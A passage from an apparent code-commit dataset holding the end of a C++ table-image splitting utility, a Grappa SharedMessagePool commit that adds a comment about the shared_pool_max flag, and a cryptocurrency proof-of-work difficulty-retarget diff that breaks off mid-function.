bytesPerFile;\n string outputDir;\n string splitSuffixFormat;\n\n \/\/ Set line buffering for stdout so that printf's and log messages\n \/\/ interleave properly.\n setvbuf(stdout, NULL, _IOLBF, 1024);\n\n \/\/ Need external context to set log levels with OptionParser\n Context context(false);\n\n OptionsDescription clientOptions(\"TableImageSplitter\");\n clientOptions.add_options()\n\n (\"imageFile\",\n ProgramOptions::value<string>(&imageFilePath),\n \"Path to the image file to split.\")\n (\"objectsPerFile\",\n ProgramOptions::value<long>(&objectsPerFile)->default_value(0),\n \"How many objects to pack into a partition.\")\n (\"bytesPerFile\",\n ProgramOptions::value<long>(&bytesPerFile)->default_value(0),\n \"How many bytes to pack into a partition.\")\n (\"outputDir\",\n ProgramOptions::value<string>(&outputDir),\n \"Directory to write split files.\")\n (\"splitSuffixFormat\",\n ProgramOptions::value<string>(&splitSuffixFormat)->\n default_value(\".part%04d\"),\n \"Format string of the suffix to use for partitions. Must contain \"\n \"exactly one %d. [default: \\\".part%04d\\\"].\");\n \n OptionParser optionParser(clientOptions, argc, argv);\n\n printf(\"TableImageSplitter: {imageFile: %s, objectsPerFile: %lu, \"\n \"bytesPerFile: %lu, outputDir: %s, splitSuffixFormat: %s}\\n\", \n imageFilePath.c_str(), objectsPerFile, bytesPerFile, outputDir.c_str(), \n splitSuffixFormat.c_str());\n\n \/\/ Open image file for splitting. \n std::ifstream inFile;\n inFile.open(imageFilePath.c_str(), std::ios::binary);\n\n size_t lastSlashIndex = imageFilePath.find_last_of(\"\/\");\n string imageFileName;\n if (lastSlashIndex != string::npos)\n imageFileName = imageFilePath.substr(lastSlashIndex + 1);\n else \n imageFileName = imageFilePath;\n\n long partitionCount = 0; \/\/ How many partitions we've created so far.\n long objCount = 0; \/\/ How many objects are in the current partition.\n long totalObjCount = 0; \/\/ How many objects have we copied in total.\n long byteCount = 0; \/\/ How many bytes are in the current partition.\n long totalObjByteCount = 0; \/\/ How many total bytes have we copied so far.\n\n \/\/ Open initial output file for first partition.\n char *outFileName;\n asprintf(&outFileName, \n (outputDir + \"\/\" + imageFileName + splitSuffixFormat).c_str(),\n partitionCount); \n std::ofstream outFile;\n outFile.open(outFileName, std::ios::binary);\n printf(\"Creating %s... \", outFileName);\n free(outFileName);\n\n \/\/ Read the imagefile until there are no more objects left in the file.\n char lenBuffer[sizeof(uint32_t)];\n while(inFile.read(lenBuffer, sizeof(lenBuffer))) {\n uint32_t keyLength = *((uint32_t*) lenBuffer); \n char keyBuffer[keyLength];\n inFile.read(keyBuffer, keyLength);\n \n inFile.read(lenBuffer, sizeof(lenBuffer));\n uint32_t dataLength = *((uint32_t*) lenBuffer);\n char dataBuffer[dataLength];\n inFile.read(dataBuffer, dataLength);\n\n \/\/ Copy object to output file.\n outFile.write((char*) &keyLength, sizeof(uint32_t));\n outFile.write((char*) keyBuffer, keyLength);\n outFile.write((char*) &dataLength, sizeof(uint32_t));\n outFile.write((char*) dataBuffer, dataLength);\n\n objCount++;\n totalObjCount++;\n byteCount += sizeof(uint32_t) + keyLength + sizeof(uint32_t) + dataLength;\n totalObjByteCount += keyLength + dataLength;\n\n \/\/ If we've filled up the partition, close it and start a new one.\n if (objectsPerFile > 0) {\n if (objCount == objectsPerFile) {\n outFile.close();\n partitionCount++;\n printf(\"Done\\n\");\n\n asprintf(&outFileName, \n (outputDir + \"\/\" + imageFileName + splitSuffixFormat).c_str(),\n partitionCount); \n outFile.open(outFileName, std::ios::binary);\n printf(\"Creating %s... \", outFileName);\n free(outFileName);\n \n objCount = 0;\n byteCount = 0;\n }\n } else {\n if (byteCount > bytesPerFile) {\n outFile.close();\n partitionCount++;\n printf(\"Done\\n\");\n\n asprintf(&outFileName, \n (outputDir + \"\/\" + imageFileName + splitSuffixFormat).c_str(),\n partitionCount); \n outFile.open(outFileName, std::ios::binary);\n printf(\"Creating %s... \", outFileName);\n free(outFileName);\n \n objCount = 0;\n byteCount = 0;\n }\n }\n }\n\n outFile.close();\n partitionCount++;\n printf(\"Done\\n\");\n\n inFile.close();\n\n printf(\"Split table image into %lu partitions. Total objects: %lu. Total \"\n \"bytes: %lu\\n\", partitionCount, totalObjCount, totalObjByteCount);\n\n return 0;\n} catch (Exception& e) {\n fprintf(stderr, \"Exception: %s\\n\", e.str().c_str());\n return 1;\n}\n\n<|endoftext|>"} {"text":"<commit_before>#include \"SharedMessagePool.hpp\"\n#include \"Statistics.hpp\"\n#include \"ConditionVariable.hpp\"\n#include <stack>\n\nDEFINE_int64(shared_pool_size, 1L << 20, \"Size (in bytes) of global SharedMessagePool (on each Core)\");\nDEFINE_int64(shared_pool_max, -1, \"Maximum number of shared pools allowed to be allocated (per core).\");\n\nGRAPPA_DEFINE_STAT(SimpleStatistic<uint64_t>, shared_message_pools_allocated, 0);\n\nnamespace Grappa {\n\n SharedMessagePool * shared_pool = nullptr;\n std::stack<SharedMessagePool*> unused_pools;\n ConditionVariable blocked_senders;\n\n void init_shared_pool() {\n void * p = impl::locale_shared_memory.allocate_aligned(sizeof(SharedMessagePool), 8);\n shared_pool = new (p) SharedMessagePool(FLAGS_shared_pool_size);\n shared_message_pools_allocated++;\n VLOG(3) << \"initialized shared_pool @ \" << shared_pool << \", buf:\" << (void*)shared_pool->buffer;\n }\n\n void* SharedMessagePool::allocate(size_t size) {\n VLOG(5) << \"allocating on shared pool \" << this;\n CHECK_EQ(this, shared_pool) << \"not allocating from global shared_pool!\";\n \n if (this->remaining() < size) {\n CHECK(size <= this->buffer_size) << \"Pool (\" << this->buffer_size << \") is not large enough to allocate \" << size << \" bytes.\";\n VLOG(3) << \"MessagePool full (\" << this << \", to_send:\"<< this->to_send << \"), finding a new one; completions_received:\" << completions_received << \", allocated_count:\" << allocated_count;\n \n \/\/ first try and find one from the unused_pools pool\n if (unused_pools.size() > 0) { pop_pool:\n shared_pool = unused_pools.top();\n VLOG(4) << \"found pool @ \" << shared_pool << \" allocated:\" << shared_pool->allocated << \"\/\" << shared_pool->buffer_size << \", count=\" << allocated_count << \" @ \" << this;\n unused_pools.pop();\n } else if (!global_scheduler.in_no_switch_region() && FLAGS_shared_pool_max > 0 &&\n shared_message_pools_allocated >= FLAGS_shared_pool_max-1) {\n Grappa::wait(&blocked_senders);\n if (this == shared_pool) {\n CHECK_GT(unused_pools.size(), 0);\n goto pop_pool;\n } \/\/ else should be able to just fall through and go on our merry way\n \/\/ CHECK(unused_pools.size() > 0 || shared_pool->remaining() > size);\n } else {\n \/\/ allocate a new one, have the old one delete itself when all previous have been sent\n void * p = impl::locale_shared_memory.allocate_aligned(sizeof(SharedMessagePool), 8);\n shared_pool = new (p) SharedMessagePool(this->buffer_size);\n shared_message_pools_allocated++;\n VLOG(4) << \"created new shared_pool @ \" << shared_pool << \", buf:\" << shared_pool->buffer;\n }\n \n this->start_emptying(); \/\/ start working on freeing up the previous one\n \n return shared_pool->allocate(size); \/\/ actually satisfy the allocation request\n } else {\n allocated_count++;\n this->to_send++;\n return PoolAllocator<impl::MessageBase>::allocate(size);\n \/\/ return impl::MessagePoolBase::allocate(size);\n }\n }\n \n void SharedMessagePool::start_emptying() {\n emptying = true;\n \/\/ CHECK_GT(to_send, 0);\n if (to_send == 0 && emptying) { on_empty(); }\n }\n \n void SharedMessagePool::message_sent(impl::MessageBase* m) {\n CHECK( reinterpret_cast<char*>(m) >= this->buffer && reinterpret_cast<char*>(m)+m->size() <= this->buffer+this->buffer_size )\n << \"message is outside this pool!! message(\" << m << \", extra:\" << m->pool << \"), \"\n << \"pool(\" << this << \", buf:\" << (void*)this->buffer << \", size:\" << this->buffer_size << \")\";\n to_send--;\n completions_received++;\n if (to_send == 0 && emptying) {\n VLOG(3) << \"empty! so put back on unused stack message(\" << m << \", is_sent_:\" << m->is_sent_ << \")\";\n on_empty();\n }\n }\n\n void SharedMessagePool::on_empty() {\n \n VLOG(3) << \"empty and emptying, to_send:\"<< to_send << \", allocated:\" << allocated << \"\/\" << buffer_size << \" @ \" << this << \", buf:\" << (void*)buffer << \" completions_received:\" << completions_received << \", allocated_count:\" << allocated_count;\n \n \/\/ verify everything sent\n this->iterate([](impl::MessageBase* m) {\n if (!m->is_sent_ || !m->is_delivered_ || !m->is_enqueued_) {\n VLOG(1) << \"!! message(\" << m << \", is_sent_:\" << m->is_sent_ << \", is_delivered_:\" << m->is_delivered_ << \", m->is_enqueued_:\" << m->is_enqueued_ << \", extra:\" << m->pool << \")\";\n }\n });\n \n this->reset();\n \n memset(buffer, (0x11*locale_mycore()) | 0xf0, buffer_size); \/\/ poison\n \n unused_pools.push(this);\n broadcast(&blocked_senders);\n }\n\n} \/\/ namespace Grappa\n<commit_msg>Add note about how shared_pool_max works.<commit_after>#include \"SharedMessagePool.hpp\"\n#include \"Statistics.hpp\"\n#include \"ConditionVariable.hpp\"\n#include <stack>\n\nDEFINE_int64(shared_pool_size, 1L << 20, \"Size (in bytes) of global SharedMessagePool (on each Core)\");\n\n\/\/\/ Note: max is enforced only for blockable callers, and is enforced early to avoid callers\n\/\/\/ that cannot block (callers from message handlers) to have a greater chance of proceeding.\nDEFINE_int64(shared_pool_max, -1, \"Maximum number of shared pools allowed to be allocated (per core).\");\n\nGRAPPA_DEFINE_STAT(SimpleStatistic<uint64_t>, shared_message_pools_allocated, 0);\n\nnamespace Grappa {\n\n SharedMessagePool * shared_pool = nullptr;\n std::stack<SharedMessagePool*> unused_pools;\n ConditionVariable blocked_senders;\n\n void init_shared_pool() {\n void * p = impl::locale_shared_memory.allocate_aligned(sizeof(SharedMessagePool), 8);\n shared_pool = new (p) SharedMessagePool(FLAGS_shared_pool_size);\n shared_message_pools_allocated++;\n VLOG(3) << \"initialized shared_pool @ \" << shared_pool << \", buf:\" << (void*)shared_pool->buffer;\n }\n\n void* SharedMessagePool::allocate(size_t size) {\n VLOG(5) << \"allocating on shared pool \" << this;\n CHECK_EQ(this, shared_pool) << \"not allocating from global shared_pool!\";\n \n if (this->remaining() < size) {\n CHECK(size <= this->buffer_size) << \"Pool (\" << this->buffer_size << \") is not large enough to allocate \" << size << \" bytes.\";\n VLOG(3) << \"MessagePool full (\" << this << \", to_send:\"<< this->to_send << \"), finding a new one; completions_received:\" << completions_received << \", allocated_count:\" << allocated_count;\n \n \/\/ first try and find one from the unused_pools pool\n if (unused_pools.size() > 0) { pop_pool:\n shared_pool = unused_pools.top();\n VLOG(4) << \"found pool @ \" << shared_pool << \" allocated:\" << shared_pool->allocated << \"\/\" << shared_pool->buffer_size << \", count=\" << allocated_count << \" @ \" << this;\n unused_pools.pop();\n } else if (!global_scheduler.in_no_switch_region() && FLAGS_shared_pool_max > 0 &&\n shared_message_pools_allocated >= FLAGS_shared_pool_max-1) {\n Grappa::wait(&blocked_senders);\n if (this == shared_pool) {\n CHECK_GT(unused_pools.size(), 0);\n goto pop_pool;\n } \/\/ else should be able to just fall through and go on our merry way\n \/\/ CHECK(unused_pools.size() > 0 || shared_pool->remaining() > size);\n } else {\n \/\/ allocate a new one, have the old one delete itself when all previous have been sent\n void * p = impl::locale_shared_memory.allocate_aligned(sizeof(SharedMessagePool), 8);\n shared_pool = new (p) SharedMessagePool(this->buffer_size);\n shared_message_pools_allocated++;\n VLOG(4) << \"created new shared_pool @ \" << shared_pool << \", buf:\" << shared_pool->buffer;\n }\n \n this->start_emptying(); \/\/ start working on freeing up the previous one\n \n return shared_pool->allocate(size); \/\/ actually satisfy the allocation request\n } else {\n allocated_count++;\n this->to_send++;\n return PoolAllocator<impl::MessageBase>::allocate(size);\n \/\/ return impl::MessagePoolBase::allocate(size);\n }\n }\n \n void SharedMessagePool::start_emptying() {\n emptying = true;\n \/\/ CHECK_GT(to_send, 0);\n if (to_send == 0 && emptying) { on_empty(); }\n }\n \n void SharedMessagePool::message_sent(impl::MessageBase* m) {\n CHECK( reinterpret_cast<char*>(m) >= this->buffer && reinterpret_cast<char*>(m)+m->size() <= this->buffer+this->buffer_size )\n << \"message is outside this pool!! message(\" << m << \", extra:\" << m->pool << \"), \"\n << \"pool(\" << this << \", buf:\" << (void*)this->buffer << \", size:\" << this->buffer_size << \")\";\n to_send--;\n completions_received++;\n if (to_send == 0 && emptying) {\n VLOG(3) << \"empty! so put back on unused stack message(\" << m << \", is_sent_:\" << m->is_sent_ << \")\";\n on_empty();\n }\n }\n\n void SharedMessagePool::on_empty() {\n \n VLOG(3) << \"empty and emptying, to_send:\"<< to_send << \", allocated:\" << allocated << \"\/\" << buffer_size << \" @ \" << this << \", buf:\" << (void*)buffer << \" completions_received:\" << completions_received << \", allocated_count:\" << allocated_count;\n \n \/\/ verify everything sent\n this->iterate([](impl::MessageBase* m) {\n if (!m->is_sent_ || !m->is_delivered_ || !m->is_enqueued_) {\n VLOG(1) << \"!! message(\" << m << \", is_sent_:\" << m->is_sent_ << \", is_delivered_:\" << m->is_delivered_ << \", m->is_enqueued_:\" << m->is_enqueued_ << \", extra:\" << m->pool << \")\";\n }\n });\n \n this->reset();\n \n memset(buffer, (0x11*locale_mycore()) | 0xf0, buffer_size); \/\/ poison\n \n unused_pools.push(this);\n broadcast(&blocked_senders);\n }\n\n} \/\/ namespace Grappa\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2009-2010 Satoshi Nakamoto\n\/\/ Copyright (c) 2009-2014 The Bitcoin developers\n\/\/ Distributed under the MIT\/X11 software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include <math.h>\n#include \"pow.h\"\n\n#include \"chain.h\"\n#include \"chainparams.h\"\n#include \"primitives\/block.h\"\n#include \"uint256.h\"\n#include \"util.h\"\n\nunsigned int static KimotoGravityWell(const CBlockIndex* pindexLast, const CBlockHeader *pblock, uint64_t TargetBlocksSpacingSeconds, uint64_t PastBlocksMin, uint64_t PastBlocksMax) {\n \/* current difficulty formula, megacoin - kimoto gravity well *\/\n const CBlockIndex *BlockLastSolved = pindexLast;\n const CBlockIndex *BlockReading = pindexLast;\n const CBlockHeader *BlockCreating = pblock;\n BlockCreating = BlockCreating;\n uint64_t PastBlocksMass = 0;\n int64_t PastRateActualSeconds = 0;\n int64_t PastRateTargetSeconds = 0;\n int64_t LatestBlockTime = BlockLastSolved->GetBlockTime();\n double PastRateAdjustmentRatio = double(1);\n uint256 PastDifficultyAverage;\n uint256 PastDifficultyAveragePrev;\n double EventHorizonDeviation;\n double EventHorizonDeviationFast;\n double EventHorizonDeviationSlow;\n const uint256 &bnProofOfWorkLimit = Params().ProofOfWorkLimit();\n \n if (BlockLastSolved == NULL || BlockLastSolved->nHeight == 0 || (uint64_t)BlockLastSolved->nHeight < PastBlocksMin) { return bnProofOfWorkLimit.GetCompact(); }\n \n for (unsigned int i = 1; BlockReading && BlockReading->nHeight > 0; i++) {\n if (PastBlocksMax > 0 && i > PastBlocksMax) { break; }\n PastBlocksMass++;\n \n if (i == 1) { PastDifficultyAverage.SetCompact(BlockReading->nBits); }\n else { PastDifficultyAverage = ((uint256().SetCompact(BlockReading->nBits) - PastDifficultyAveragePrev) \/ i) + PastDifficultyAveragePrev; }\n PastDifficultyAveragePrev = PastDifficultyAverage;\n \n if (LatestBlockTime < BlockReading->GetBlockTime()) { LatestBlockTime = BlockReading->GetBlockTime(); }\n PastRateActualSeconds = LatestBlockTime - BlockReading->GetBlockTime();\n PastRateTargetSeconds = TargetBlocksSpacingSeconds * PastBlocksMass;\n PastRateAdjustmentRatio = double(1);\n if (PastRateActualSeconds < 1) { PastRateActualSeconds = 1; }\n if (PastRateActualSeconds != 0 && PastRateTargetSeconds != 0) {\n PastRateAdjustmentRatio = double(PastRateTargetSeconds) \/ double(PastRateActualSeconds);\n }\n EventHorizonDeviation = 1 + (0.7084 * pow((double(PastBlocksMass)\/double(9)), -1.228));\n EventHorizonDeviationFast = EventHorizonDeviation;\n EventHorizonDeviationSlow = 1 \/ EventHorizonDeviation;\n \n if (PastBlocksMass >= PastBlocksMin) {\n if ((PastRateAdjustmentRatio <= EventHorizonDeviationSlow) || (PastRateAdjustmentRatio >= EventHorizonDeviationFast)) { assert(BlockReading); break; }\n }\n if (BlockReading->pprev == NULL) { assert(BlockReading); break; }\n BlockReading = BlockReading->pprev;\n }\n \n uint256 bnNew(PastDifficultyAverage);\n if (PastRateActualSeconds != 0 && PastRateTargetSeconds != 0) {\n bnNew *= PastRateActualSeconds;\n bnNew \/= PastRateTargetSeconds;\n }\n if (bnNew > bnProofOfWorkLimit) { bnNew = bnProofOfWorkLimit; }\n \n \/\/\/ debug print\n LogPrintf(\"Difficulty Retarget - BOB's Wormh0le (KGW)\\n\");\n LogPrintf(\"PastRateAdjustmentRatio = %g\\n\", PastRateAdjustmentRatio);\n LogPrintf(\"Before: %08x %s\\n\", BlockLastSolved->nBits, uint256().SetCompact(BlockLastSolved->nBits).ToString().c_str());\n LogPrintf(\"After: %08x %s\\n\", bnNew.GetCompact(), bnNew.ToString().c_str());\n \n return bnNew.GetCompact();\n}\n\nunsigned int static GetNextWorkRequired_V2(const CBlockIndex* pindexLast, const CBlockHeader *pblock)\n{\n static const int64_t BlocksTargetSpacing = 10 * 60; \/\/ 10 minutes\n unsigned int TimeDaySeconds = 60 * 60 * 24;\n int64_t PastSecondsMin = TimeDaySeconds * 0.0625;\n int64_t PastSecondsMax = TimeDaySeconds * 1.75;\n uint64_t PastBlocksMin = PastSecondsMin \/ BlocksTargetSpacing;\n uint64_t PastBlocksMax = PastSecondsMax \/ BlocksTargetSpacing; \n \n return KimotoGravityWell(pindexLast, pblock, BlocksTargetSpacing, PastBlocksMin, PastBlocksMax);\n}\n\n\nunsigned int GetNextWorkRequired_V1(const CBlockIndex* pindexLast, const CBlockHeader *pblock)\n{\n unsigned int nProofOfWorkLimit = Params().ProofOfWorkLimit().GetCompact();\n\n \/\/ Genesis block\n if (pindexLast == NULL)\n return nProofOfWorkLimit;\n\n \/\/ Only change once per interval\n if ((pindexLast->nHeight+1) % Params().Interval() != 0)\n {\n if (Params().AllowMinDifficultyBlocks())\n {\n \/\/ Special difficulty rule for testnet:\n \/\/ If the new block's timestamp is more than 2* 10 minutes\n \/\/ then allow mining of a min-difficulty block.\n if (pblock->GetBlockTime() > pindexLast->GetBlockTime() + Params().TargetSpacing()*2)\n return nProofOfWorkLimit;\n else\n {\n \/\/ Return the last non-special-min-difficulty-rules-block\n const CBlockIndex* pindex = pindexLast;\n while (pindex->pprev && pindex->nHeight % Params().Interval() != 0 && pindex->nBits == nProofOfWorkLimit)\n pindex = pindex->pprev;\n return pindex->nBits;\n }\n }\n return pindexLast->nBits;\n }\n\n \/\/ Go back by what we want to be 14 days worth of blocks\n const CBlockIndex* pindexFirst = pindexLast;\n for (int i = 0; pindexFirst && i < Params().Interval()-1; i++)\n pindexFirst = pindexFirst->pprev;\n assert(pindexFirst);\n\n \/\/ Limit adjustment step\n int64_t nActualTimespan = pindexLast->GetBlockTime() - pindexFirst->GetBlockTime();\n LogPrintf(\" nActualTimespan = %d before bounds\\n\", nActualTimespan);\n if (nActualTimespan < Params().TargetTimespan()\/4)\n nActualTimespan = Params().TargetTimespan()\/4;\n if (nActualTimespan > Params().TargetTimespan()*4)\n nActualTimespan = Params().TargetTimespan()*4;\n\n \/\/ Retarget\n uint256 bnNew;\n uint256 bnOld;\n bnNew.SetCompact(pindexLast->nBits);\n bnOld = bnNew;\n bnNew *= nActualTimespan;\n bnNew \/= Params().TargetTimespan();\n\n if (bnNew > Params().ProofOfWorkLimit())\n bnNew = Params().ProofOfWorkLimit();\n\n \/\/\/ debug print\n LogPrintf(\"GetNextWorkRequired RETARGET\\n\");\n LogPrintf(\"Params().TargetTimespan() = %d nActualTimespan = %d\\n\", Params().TargetTimespan(), nActualTimespan);\n LogPrintf(\"Before: %08x %s\\n\", pindexLast->nBits, bnOld.ToString());\n LogPrintf(\"After: %08x %s\\n\", bnNew.GetCompact(), bnNew.ToString());\n\n return bnNew.GetCompact();\n}\n\nunsigned int GetNextWorkRequired(const CBlockIndex* pindexLast, const CBlockHeader *pblock)\n{\n int DiffMode = 1;\n if (Params().AllowMinDifficultyBlocks()) {\n \/\/ if (pindexLast->nHeight+1 >= 50) { DiffMode = 2; }\n }\n else {\n if (pindexLast->nHeight+1 >= 13579) { DiffMode = 2; } \/\/ KGW @ Block 13579\n }\n \n if (DiffMode == 1) { return GetNextWorkRequired_V1(pindexLast, pblock); }\n else if (DiffMode == 2) { return GetNextWorkRequired_V2(pindexLast, pblock); }\n return GetNextWorkRequired_V2(pindexLast, pblock);\n}\n\n\nbool CheckProofOfWork(uint256 hash, unsigned int nBits)\n{\n bool fNegative;\n bool fOverflow;\n uint256 bnTarget;\n\n if(hash==HASHGENESISBLOCKPOW) \/\/ignore genesis block\n {\n return true;\n }\n\n if (Params().SkipProofOfWorkCheck())\n return true;\n\n bnTarget.SetCompact(nBits, &fNegative, &fOverflow);\n\n \/\/ Check range\n if (fNegative || bnTarget == 0 || fOverflow || bnTarget > Params().ProofOfWorkLimit())\n return error(\"CheckProofOfWork() : nBits below minimum work\");\n\n \/\/ Check proof of work matches claimed amount\n if (hash > bnTarget)\n return error(\"CheckProofOfWork() : hash doesn't match nBits\");\n\n return true;\n}\n\nuint256 GetBlockProof(const CBlockIndex& block)\n{\n uint256 bnTarget;\n bool fNegative;\n bool fOverflow;\n bnTarget.SetCompact(block.nBits, &fNegative, &fOverflow);\n if (fNegative || fOverflow || bnTarget == 0)\n return 0;\n \/\/ We need to compute 2**256 \/ (bnTarget+1), but we can't represent 2**256\n \/\/ as it's too large for a uint256. However, as 2**256 is at least as large\n \/\/ as bnTarget+1, it is equal to ((2**256 - bnTarget - 1) \/ (bnTarget+1)) + 1,\n \/\/ or ~bnTarget \/ (nTarget+1) + 1.\n return (~bnTarget \/ (bnTarget + 1)) + 1;\n}\n<commit_msg>I don't know wtf it is, but BOB's wormhole is yielding different results... for some unknown reason<commit_after>\/\/ Copyright (c) 2009-2010 Satoshi Nakamoto\n\/\/ Copyright (c) 2009-2014 The Bitcoin developers\n\/\/ Distributed under the MIT\/X11 software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include <math.h>\n#include \"pow.h\"\n\n#include \"chain.h\"\n#include \"chainparams.h\"\n#include \"primitives\/block.h\"\n#include \"uint256.h\"\n#include \"util.h\"\n\n\nunsigned int static KimotoGravityWell(const CBlockIndex* pindexLast, const CBlockHeader *pblock, uint64_t TargetBlocksSpacingSeconds, uint64_t PastBlocksMin, uint64_t PastBlocksMax) {\n \/* current difficulty formula, megacoin - kimoto gravity well *\/\n const CBlockIndex *BlockLastSolved = pindexLast;\n const CBlockIndex *BlockReading = pindexLast;\n const CBlockHeader *BlockCreating = pblock;\n BlockCreating = BlockCreating;\n uint64_t PastBlocksMass = 0;\n int64_t PastRateActualSeconds = 0;\n int64_t PastRateTargetSeconds = 0;\n int64_t LatestBlockTime = BlockLastSolved->GetBlockTime();\n double PastRateAdjustmentRatio = double(1);\n uint256 PastDifficultyAverage;\n uint256 PastDifficultyAveragePrev;\n double EventHorizonDeviation;\n double EventHorizonDeviationFast;\n double EventHorizonDeviationSlow;\n const uint256 bnProofOfWorkLimit = Params().ProofOfWorkLimit();\n \n if (BlockLastSolved == NULL || BlockLastSolved->nHeight == 0 || (uint64_t)BlockLastSolved->nHeight < PastBlocksMin) { return bnProofOfWorkLimit.GetCompact(); }\n \n for (unsigned int i = 1; BlockReading && BlockReading->nHeight > 0; i++) {\n if (PastBlocksMax > 0 && i > PastBlocksMax) { break; }\n PastBlocksMass++;\n \n if (i == 1) { PastDifficultyAverage.SetCompact(BlockReading->nBits); }\n else { PastDifficultyAverage = ((uint256().SetCompact(BlockReading->nBits) - PastDifficultyAveragePrev) \/ i) + PastDifficultyAveragePrev; }\n PastDifficultyAveragePrev = PastDifficultyAverage;\n \n if (LatestBlockTime < BlockReading->GetBlockTime()) { LatestBlockTime = BlockReading->GetBlockTime(); }\n PastRateActualSeconds = LatestBlockTime - BlockReading->GetBlockTime();\n PastRateTargetSeconds = TargetBlocksSpacingSeconds * PastBlocksMass;\n PastRateAdjustmentRatio = double(1);\n if (PastRateActualSeconds < 1) { PastRateActualSeconds = 1; }\n if (PastRateActualSeconds != 0 && PastRateTargetSeconds != 0) {\n PastRateAdjustmentRatio = double(PastRateTargetSeconds) \/ double(PastRateActualSeconds);\n }\n EventHorizonDeviation = 1 + (0.7084 * pow((double(PastBlocksMass)\/double(9)), -1.228));\n EventHorizonDeviationFast = EventHorizonDeviation;\n EventHorizonDeviationSlow = 1 \/ EventHorizonDeviation;\n \n if (PastBlocksMass >= PastBlocksMin) {\n if ((PastRateAdjustmentRatio <= EventHorizonDeviationSlow) || (PastRateAdjustmentRatio >= EventHorizonDeviationFast)) { assert(BlockReading); break; }\n }\n if (BlockReading->pprev == NULL) { assert(BlockReading); break; }\n BlockReading = BlockReading->pprev;\n }\n \n uint256 bnNew;\n bnNew=PastDifficultyAverage;\n if (PastRateActualSeconds != 0 && PastRateTargetSeconds != 0) {\n bnNew *= PastRateActualSeconds;\n bnNew \/= PastRateTargetSeconds;\n }\n if (bnNew > bnProofOfWorkLimit) { bnNew = bnProofOfWorkLimit; }\n \n \/\/\/ debug print\n LogPrintf(\"Difficulty Retarget - BOB's Wormh0le (KGW)\\n\");\n LogPrintf(\"PastRateAdjustmentRatio = %g\\n\", PastRateAdjustmentRatio);\n LogPrintf(\"Before: %08x %s\\n\", BlockLastSolved->nBits, uint256().SetCompact(BlockLastSolved->nBits).ToString().c_str());\n LogPrintf(\"After: %08x %s\\n\", bnNew.GetCompact(), bnNew.ToString().c_str());\n \n return bnNew.GetCompact();\n}\n\nunsigned int static GetNextWorkRequired_V2(const CBlockIndex* pindexLast, const CBlockHeader *pblock)\n{\n static const int64_t BlocksTargetSpacing = 10 * 60; \/\/ 10 minutes\n unsigned int TimeDaySeconds = 60 * 60 * 24;\n int64_t PastSecondsMin = TimeDaySeconds * 0.0625;\n int64_t PastSecondsMax = TimeDaySeconds * 1.75;\n uint64_t PastBlocksMin = PastSecondsMin \/ BlocksTargetSpacing;\n uint64_t PastBlocksMax = PastSecondsMax \/ BlocksTargetSpacing; \n \n return KimotoGravityWell(pindexLast, pblock, BlocksTargetSpacing, PastBlocksMin, PastBlocksMax);\n}\n\n\nunsigned int GetNextWorkRequired_V1(const CBlockIndex* pindexLast, const CBlockHeader *pblock)\n{\n unsigned int nProofOfWorkLimit = Params().ProofOfWorkLimit().GetCompact();\n\n \/\/ Genesis block\n if (pindexLast == NULL)\n return nProofOfWorkLimit;\n\n \/\/ Only change once per interval\n if ((pindexLast->nHeight+1) % Params().Interval() != 0)\n {\n if (Params().AllowMinDifficultyBlocks())\n {\n \/\/ Special difficulty rule for testnet:\n \/\/ If the new block's timestamp is more than 2* 10 minutes\n \/\/ then allow mining of a min-difficulty block.\n if (pblock->GetBlockTime() > pindexLast->GetBlockTime() + Params().TargetSpacing()*2)\n return nProofOfWorkLimit;\n else\n {\n \/\/ Return the last non-special-min-difficulty-rules-block\n const CBlockIndex* pindex = pindexLast;\n while (pindex->pprev && pindex->nHeight % Params().Interval() != 0 && pindex->nBits == nProofOfWorkLimit)\n pindex = pindex->pprev;\n return pindex->nBits;\n }\n }\n return pindexLast->nBits;\n }\n\n \/\/ Go back by what we want to be 14 days worth of blocks\n const CBlockIndex* pindexFirst = pindexLast;\n for (int i = 0; pindexFirst && i < Params().Interval()-1; i++)\n pindexFirst = pindexFirst->pprev;\n assert(pindexFirst);\n\n \/\/ Limit adjustment step\n int64_t nActualTimespan = pindexLast->GetBlockTime() - pindexFirst->GetBlockTime();\n LogPrintf(\" nActualTimespan = %d before bounds\\n\", nActualTimespan);\n if (nActualTimespan < Params().TargetTimespan()\/4)\n nActualTimespan = Params().TargetTimespan()\/4;\n if (nActualTimespan > Params().TargetTimespan()*4)\n nActualTimespan = Params().TargetTimespan()*4;\n\n \/\/ Retarget\n uint256 bnNew;\n uint256 bnOld;\n bnNew.SetCompact(pindexLast->nBits);\n bnOld = bnNew;\n bnNew *= nActualTimespan;\n bnNew \/= Params().TargetTimespan();\n\n if (bnNew > Params().ProofOfWorkLimit())\n bnNew = Params().ProofOfWorkLimit();\n\n \/\/\/ debug print\n LogPrintf(\"GetNextWorkRequired RETARGET\\n\");\n LogPrintf(\"Params().TargetTimespan() = %d nActualTimespan = %d\\n\", Params().TargetTimespan(), nActualTimespan);\n LogPrintf(\"Before: %08x %s\\n\", pindexLast->nBits, bnOld.ToString());\n LogPrintf(\"After: %08x %s\\n\", bnNew.GetCompact(), bnNew.ToString());\n\n return bnNew.GetCompact();\n}\n\n\nunsigned int GetNextWorkRequired_V3(const CBlockIndex* pindexLast, const CBlockHeader *pblock)\n{\n\n static const int64_t nTargetTimespan_V3 = 10*60 ; \/\/ dobbscoin: every 10 minutes\n static const int64_t nTargetSpacing_V3 = 10*60; \/\/ dobbscoin: 10 minutes\n static const int64_t nInterval_V3 = nTargetTimespan_V3 \/ nTargetSpacing_V3;\n\n unsigned int nProofOfWorkLimit = Params().ProofOfWorkLimit().GetCompact();\n\n \n int64_t retargetTimespan = nTargetTimespan_V3; \/\/Params().TargetTimespan();\n int64_t retargetInterval = nInterval_V3; \/\/Params().Interval();\n \n \/\/retargetInterval = Params().TargetTimespan() \/ Params().TargetSpacing();\n \/\/retargetTimespan = Params().TargetTimespan();\n \n \/\/ Genesis block\n if (pindexLast == NULL)\n return nProofOfWorkLimit;\n\n \/\/ Only change once per interval\n if ((pindexLast->nHeight+1) % retargetInterval != 0)\n {\n if (Params().AllowMinDifficultyBlocks())\n {\n \/\/ Special difficulty rule for testnet:\n \/\/ If the new block's timestamp is more than 2* nTargetSpacing minutes\n \/\/ then allow mining of a min-difficulty block.\n if 